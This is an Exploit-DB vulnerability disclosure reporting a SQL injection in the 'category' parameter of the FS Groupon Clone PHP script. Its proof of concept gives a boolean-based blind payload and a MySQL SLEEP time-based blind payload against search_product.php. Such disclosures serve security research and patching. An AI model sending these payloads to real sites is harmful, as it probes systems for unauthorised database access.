FS Groupon Clone - 'category' Parameter SQL Injection

EDB-ID: 43041
Author: 8bitsec
Published: 2017-10-23
CVE: N/A
Type: Webapps
Platform: PHP
Vulnerable App: N/A

 # Date: 2017-10-23 
# Exploit Author: 8bitsec
# Vendor Homepage: https://fortunescripts.com/
# Software Link: https://fortunescripts.com/product/groupon-clone/
# Version: 23 October 17
# Tested on: [Kali Linux 2.0 | Mac OS 10.12.6]
# Email: contact@8bitsec.io
# Contact: https://twitter.com/_8bitsec

Release Date:
=============
2017-10-23

Product & Service Introduction:
===============================
Developed in PHP/MySQL, the script is a perfect solution for a daily deal software with utmost versatility.

Technical Details & Description:
================================

SQL injection on [category] parameter.

Proof of Concept (PoC):
=======================

SQLi:

https://localhost/[path]/search_product.php?category=1 AND 8132=8132&name=xxxxx

Parameter: category (GET)
Type: boolean-based blind
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: category=1 AND 8132=8132&name=xxxxx

Type: AND/OR time-based blind
Title: MySQL >= 5.0.12 AND time-based blind
Payload: category=1 AND SLEEP(5)&name=xxxxx
==================
8bitsec - [https://twitter.com/_8bitsec]

Related Posts

Comments